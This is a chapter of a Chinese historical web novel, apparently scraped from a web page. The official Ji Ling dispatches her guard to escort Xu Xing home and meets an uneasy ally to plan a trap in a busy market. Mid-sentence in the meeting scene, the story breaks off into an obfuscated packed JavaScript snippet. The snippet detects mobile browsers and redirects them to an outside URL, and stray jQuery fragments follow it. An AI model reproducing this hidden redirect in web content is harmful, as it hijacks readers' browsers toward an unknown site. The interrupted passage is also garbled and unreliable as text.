七月七，乞巧节，整个京城都洋溢着节庆的欢悦。


    今年在石竹巷张罗布置的是国子监祭酒林家。林载源两子一女，次子为林清许，比徐行还要长上两岁。


    季泠刚搬来石竹巷时，发现隔壁那低调的门头竟然是林家，还是有些惊讶。


    浮云堂庭院中，季泠抬手，一只白头翁落在她臂上。


    取下信后，喂了食，白头翁盘旋须臾又振翅高飞，动静很快就被巷中热闹的动静掩盖。


    石竹巷里，搬运吩咐的声音不绝于耳，稚童的笑声穿过门墙，传入浮云堂时，只剩下浅浅淡淡的一缕虚声。


    季泠分辨出，那是林家小姐，名为蕴宜，如今才刚满十二。


    林祭酒老来得女，全家都宠爱这个小女儿，林家将她教养得极好，年纪虽小，气质却温厚。季泠很喜欢那个小姑娘。


    抬头看去，天边金光渐渐消散，石竹巷应该已经挂上彩灯了。


    阅云随召走到内院中时，季泠正在给一盆花松土。


    是一盆宝珠茉莉。如今正是茉莉开的第一茬花，叶片油亮，花瓣层层叠叠，圆润洁白，满庭院浓郁的芬芳。


    季泠歪着头，很认真，指尖沾了土也不甚在意。


    听到脚步声，她偏了偏头，看了一眼来人，很快收回眼神。


    阅云的脸色并不好看，可还是掩藏起异样，上前回话：“季大人。”


    “还在山西是吗？”


    “嗯。”


    看来很不顺利。


    季泠也猜到了，徐行是没办法在七月七赶回来的，她那时候只是心存了些许希望，就像每回她去寺庙上香时，祈求合境顺安，只不过是许愿而已。


    徐行不可能在这么短的时间内解决掉势力错综复杂的胡党一干人，她和徐行心知肚明。


    人命啊，由不得凡人来许愿成真的。


    季泠想到刚才那封信，对阅云说：“五日后，你出发，去接他。”


    阅云皱了皱眉，并不赞同：“少爷的命令，是让属下全力护卫您。”


    季泠转过身，拍了拍手，细土从她手中坠落。


    “阅云，你近日得到的消息不少吧？”


    阅云看着她，心下一紧，不知道季泠究竟是什么意思。少爷不愿让她掺入其中最可怖之处，可她心思太过敏锐……或者说，手脚太快了——暗卫里已经有了她的人。


    “你该知道，抱月已经阻拦了沿途无数刺客。”


    季泠盯着阅云，沉重的担忧似乎已经将她压得喘不过气，以至于面对阅云，她也不再维持镇定。


    “一旦入了京，税银案参与者的路就彻底被堵死了。这是他们最后的机会，焉能放过如此良机，让徐行顺利回京？阅云，你在徐行身边那么多年，不会不懂得当下的局势。只要徐行一死，应大人和谭大人失去最强大的助力，他尚未带回京的证据随他身亡而消散，胡尚书以退为进，来日翻盘，我们谁都讨不了好。”


    阅云神情松动，他当然也知道，如今境况最糟糕的，该是他的少爷。可他们无权干预徐行的决策，只能听命行事。


    季泠继续吩咐道：“五日后，天不亮你就出发，我会给你出城令。你带人快马前去接应，尽量将阵仗弄的声势浩大……据我所知，五军营中有你们的人？”


    阅云诧异看向她，迟疑中点了头。


    “那最好，寻个名目对你们来说并不难。”


    阅云低下头，默认了。他知道季泠既然都做好了打算，必然不会允许他推拒。


    阅云抱拳施礼：“属下，领命。”


    季泠终于牵起笑，可阅云见了，却发觉是那样勉强又伤感。


    季泠看向那株茉莉，轻声说：“阅云，把他好好带回来。”


    阅云只低头看着她，他越来越看不透这个季大人。


    他们少爷那样喜欢她，甚至为她屡屡破戒……


    这次山西之行，本不该由他去的。


    可季泠呢？


    阅云觉得，她对徐行的付出，远没有徐行对她的多。


    她是如何心安理得享受徐行所给予的一切？可眼下，她又是那样心事重重地挂念他。他一时间竟疑惑了。


    “去吧，安排好。尽量赶在十五落日前回来。”季泠最后吩咐他，就将他遣走了。


    白蔹将那盆茉莉摆回厅堂中，碧萝端来水，给季泠洗去泥土。


    碧萝年纪还小，心思不细，又是后来才来到她身边的，看她眼色总不如白芨白蔹。直到季泠晾着手许久，喊了她一声，碧萝才反应过来，连忙递上帕子给她擦手。


    季泠想着这几日应该进行的安排，慢吞吞坐在石凳上，抬眼看见碧萝的背影，出声喊住她：“碧萝。”


    碧萝惊了一下，有些慌张：“大人还有什么要吩咐奴婢的？”


    季泠朝她招招手，碧萝走近了些，季泠伸出手，摸了摸她发间插的一只簪子，是一只桃花簪，缀着花瓣串起的流苏，精致小巧，很可爱。


    “这只簪子…”


    碧萝突生畏惧——季泠自进官以后，身上莫名多了几分威压，再加之她冷脸时那双眼睛幽深而有洞悉万物之象，眼下碧萝端着铜盆都不免颤抖。


    “很衬你，”季泠朝她笑了笑，碧萝松了口气。


    “今日是乞巧节，你这只簪子，是别人赠的？”


    虽说季泠不大在意丫头们穿什么，可她给丫头们添置东西向来讲求公平，每人的衣衫首饰款式花样差别都不大。碧萝这只簪子，她倒是没见过。


    碧萝听见季泠赞她，不免露出小女儿的娇怯：“回大人，是之前元宵灯会时，在路边买的。奴婢想着今日过节，带出来应应景。”


    季泠点点头，“不错，日后多带带，你这样，很好看。”


    季泠觉着，这个年纪的姑娘应该都是爱美的，她也爱美，只是需要花费时间，只好清简干净，以求方便。


    次日的畅春楼内，季泠再度站在那扇窗前，背手而立，一身竹纹圆领袍，清姿卓越。


    一人带帽前来，被阅云抬手拦住。


    “我的客人。”季泠未转身，阅云看不清那人模样，只觉得身影分外熟悉。


    那人走进雅间，没带随从，回身瞥了一眼阅云，帽檐下的眼神带着意欲不明的探究。


    “关上门，别让人靠近。”阅云迟疑，一双眼盯着季泠身前的客人。


    季泠转身，淡淡扫过门前两人，阅云方才罢休，垂首退出。


    按理来说，他想要听清里面两人究竟在说什么，那人究竟是谁，轻而易举，只不过会惹某人不快罢了。


    可阅云只一息便压下窥探的想法，只肃然守着门。


    “徐行的人？”来人摘下大帽，再度露出那副皮笑肉不笑的嘴脸。


    “嗯。”季泠应声。


    “看你倒是看的挺紧，允许你这样冒险？”


    “允不允许又能如何，我的事情，我难道还没做主的权力？”


    “桀，你倒是不怕死，也不知道徐行究竟为什么看上了你。依他的性子，绝不会如此行事。”


    季泠颇为不耐，压下烦躁，看着提梁壶中的水蓄势待发，水面的平静被一两个小气泡突破，后又是成群结队的气泡，直到彻底滚沸。


    “你那么惦记他，我走就是了。你去寻他合作，别来找我晦气。”语气冷淡至极，话却得理不饶人。


    分明一开始，是她摸上门来找他的吧？眼下反倒成了他的错了。


    “你真开不起玩笑，小心眼的家伙。”


    季泠不理这茬话，只专注于手中的活。壶中的水已经滚了好几回，季泠拎起提梁壶，玉色手背即隆起几道青筋，仿若拂晓时分天际边的连绵山线。


    成珏看着季泠温杯，动作慢条斯理，倒还真有几分高门大户家教养出的气度，一拈一摇，可见几分雅意。


    披着上层人的皮，季泠倒是得心应手。


    “你的法子真的可靠吗？”


    季泠捻起茶匙，铲了一团散茶。“有一定的风险，所以今日才再请您来。”


    季泠微微颔首，体现十足诚意，却引对面人嗤笑道：“不必如此做作的恭敬，说白了，你我走是一条路子的人。今日若是你与徐行死了，按那老匹夫的手段，能舍了女儿女婿，估计转手就给我来一下。我手头捏着那么多的把柄，一旦被他撕开口子，落井下石的人怕是蜂拥而至了。”


    “所以，机不可失。”


    滚水倾倒，扬起热气氤氲。安静片刻，待茶浸泡出香，倾杯倒茶。


    “请。”


    季泠将茶汤向前一推，他接过轻嗅：“白毫银针？”


    季泠微笑点头。“应家人皆好白毫银针。”


    尤其是她。


    “你倒有心。”季泠不置可否。


    成珏与她不过是利益往来，虽说将他扯进税银案，让他不得不求自保与她合作，可人心善变，她既然知道他的弱点，不趁机利用一番，岂不可惜。


    “言归正传，地点我已经选好了，后手如何布置，就看你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457053|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。”


    季泠将图纸拿出展开，指给他看。


    成珏皱眉：“闹市？”


    “嗯。我这儿已经放出风声了，不过，若要一网打尽，兴许仍然不够。还要看你这儿能否再助推一把，毕竟，这是你们的长项。”


    “可他们未必会按照你的计划出手。”


    “是未必，所以你要派人做前锋，为他们打个样。”


    季泠轻轻吹了吹茶，那副云淡风轻的模样，仿佛不过是在与他讨论茶事。


    “你是真不怕死啊。”


    季泠一滞，只怔忡地看着手中的琉璃杯，无奈笑了笑。“没人不怕死。”她轻叹，“只是，我势单力孤，人微言轻，若不自强自立，不果决狠心，那便永无出头之日。”


    他默然，明白是无法劝服她，她这样一番话，何尝不是在说他。


    不过，她说的狠心，怕也是在利用自己。


    他收起了她的图纸，季泠终于舒了一口气。


    虽然算是同盟，但她仍没有十足的把握，他是否会同意她的决定。


    “你如何保障我的人？”


    季泠了然问他，“徐行？”


    他点头。


    “不出意外，那日他会回城，应该先要处理我这儿的乱子，怕是没空寻你的霉头。我有分寸，若是苗头不对，我会制止他的。”


    她曾经也做过类似的事情，哪怕破绽百出，徐行也没有怀疑过她。


    只是没想到，才两年而已，这回她设计的主角却换了个人。


    “你行吗？”


    “赌一把吧。”季泠站起身，再度走到窗前，凭阑眺望，看见远方一抹泛灰的青旗在风下飘动。


    季泠再度睁眼，孤身站在长街人流里。不站在高处，那青旗便没那么显眼了。


    她难得在日落之前就离开衙门，起身欲走时，章钧龄还恭敬问道，今日季大人走得略早，是否有什么要事？


    这番话问得正常，毕竟章钧龄如今跟着她观政，是她的小跟班，不少事情要她过目定夺。


    季泠答了一句，今日是十五。


    汪主事笑笑说：“季大人是建州人，每年七月半，都不会留得太晚。”


    虽然今日似乎走得比前两年早些。


    章钧龄点点头，与其它几位湖广司下属向季泠道了别。


    人来人往，汹涌如潮，季泠独独站在人流之中，看着天色渐渐染红，闭眼吐了口气，感受心跳如雷轰鸣。


    调整好后，一道意外之声传来：“季大人。”


    祝扶春追着她的背影赶来，见她步履匆匆，却突然停下。摘了乌纱帽的季泠还没有换下补服，少了几分利落的威严，背影被霞光笼罩着，滋生出寡落的柔和。


    她该是迎着朝阳的人，而非在夕阳里沉默。


    祝扶春离她三步远，静静看着她。直到有一架马车从前方驶来，他才喊她一声。


    醒过神来，季泠垂手抬步，心中估摸着时间。


    “你怎么来了？”


    “前头事忙，耽搁了一会儿，想来找你对对进度，不料差这一步，你竟然先走了。”他的话有点多，季泠有一搭没一搭地听着，祝扶春虽一如私下往常称呼，但仍旧朝她微微低下头，回话的姿态很恭敬。


    “……先前你吩咐的湖广减税文疏，我已经草拟好了，按照你那日所说的，我核照了受灾情况，参照以往灾区减税的例子，给了具体明细。由于大合乡是疫病爆发源头，如今尚在恢复之中，除了本年降税之外，还减轻赋役，以便百姓修养生息。”


    季泠点了头，“极好，明日送到我家来，给我看看，若无大问题，便正式上疏吧，好早日让湖广百姓安心。”


    送到，她家……


    祝扶春想问缘由，却发现季泠眯着眼看向远处右侧的商铺。


    是畅春楼。


    长街两侧鳞次栉比，天还未暗，许多大商铺已经点了灯，铺前地面上投射出淡淡灯影，被进进出出的客人影掩盖。


    一个小姑娘坐在父亲的肩头，嘴里咿咿呀呀地撒着娇，小手指着什么，季泠顺着她藕节似的手看去，是一个做糖人的小摊。


    父亲宠溺握住女儿的小腿，轻轻安抚，要了一个糖人，小女孩儿瞬间笑开了，雪团般的脸上露出两个可爱的酒窝。


    这是最天真无邪的年纪。季泠不自觉地展开笑颜。


    父女的身影渐渐模糊，她那似有眷恋的笑容在他眼中却愈发清晰。


    下一刻，季泠脸色陡然生变。